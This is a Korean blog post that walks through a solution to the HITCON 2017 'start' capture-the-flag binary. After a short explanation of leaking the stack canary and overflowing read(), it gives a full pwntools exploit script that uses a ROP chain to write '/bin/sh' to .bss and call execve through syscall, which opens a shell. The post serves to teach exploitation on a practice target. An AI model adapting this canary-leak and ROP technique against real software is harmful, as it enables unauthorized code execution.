티스토리 뷰

Pwnable/write up

[HITCON 2017] start

xxvd 2018. 9. 14. 00:24

정말 간단한 문제입니다


main 함수인데요, 간단히 read함수에서 bof가 일어납니다. 그러나 static linked 바이너리라 syscall을 이용해 문제를 풀어야합니다.


1.카나리 릭

2.bof 후 read로 bss에 /bin/sh 입력

3.execve 콜


대충 이렇게 시나리오를 짜고 익스 하였습니다.


유의해야할 점은 64bit 에서는 int 0x80이 아닌 syscall을 사용하고, execve("/bin/sh",NULL/NULL); 이어야 하는데    두번째 인자가 더블 포인터라 bss에 NULL을 입력하고 그곳을 가리키는 주소로 인자를 세팅해야 한다는 것입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
 
= process('./start')
= ELF('./start')
 
pop_rdi_ret = 0x00448bb9
pop_rsi_ret = 0x0048a3b3
pop_rdx_ret = 0x00443776
pop_rax_rdx_rbx_ret = 0x0047a6e6
syscall = 0x004b4454
 
read = 0x440300
cmd = '/bin/sh\x00'+"\x00"*10
 
#context(arch='amd64',os='linux',endian='little',log_level='debug')
payload="A"*25
 
p.send(payload)
 
p.recvuntil("A"*25)
 
canary =u64("\x00"+p.recv(7))
 
log.success("canary :"+hex(canary))
 
payload1="A"*24
payload1+=p64(canary)
payload1+="A"*8
 
payload1+=p64(pop_rdi_ret)
payload1+=p64(0)
payload1+=p64(pop_rsi_ret)
payload1+=p64(e.bss())
payload1+=p64(pop_rdx_ret)
payload1+=p64(len(cmd)+1)
payload1+=p64(read)
 
payload1+=p64(pop_rax_rdx_rbx_ret)
payload1+=p64(59)
payload1+=p64(0)
payload1+=p64(0)
payload1+=p64(pop_rdi_ret)
payload1+=p64(e.bss())
payload1+=p64(pop_rsi_ret)
payload1+=p64(e.bss()+10)
payload1+=p64(syscall)
 
p.sendline(payload1)
sleep(1)
                                                               
p.sendline("exit")
sleep(1)
 
p.sendline(cmd)
p.interactive()
cs


'Pwnable > write up' 카테고리의 다른 글

[PlaidCTF 2013] ropasaurusrex  (0) 2018.09.16
[Codegate2018_quals] BaskinRobins31  (0) 2018.09.16
[Defcon 2016]feedme  (0) 2018.08.27
[TAMU ctf 2018] pwn4  (0) 2018.05.17
[TAMU ctf 2018] pwn3  (0) 2018.05.17
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함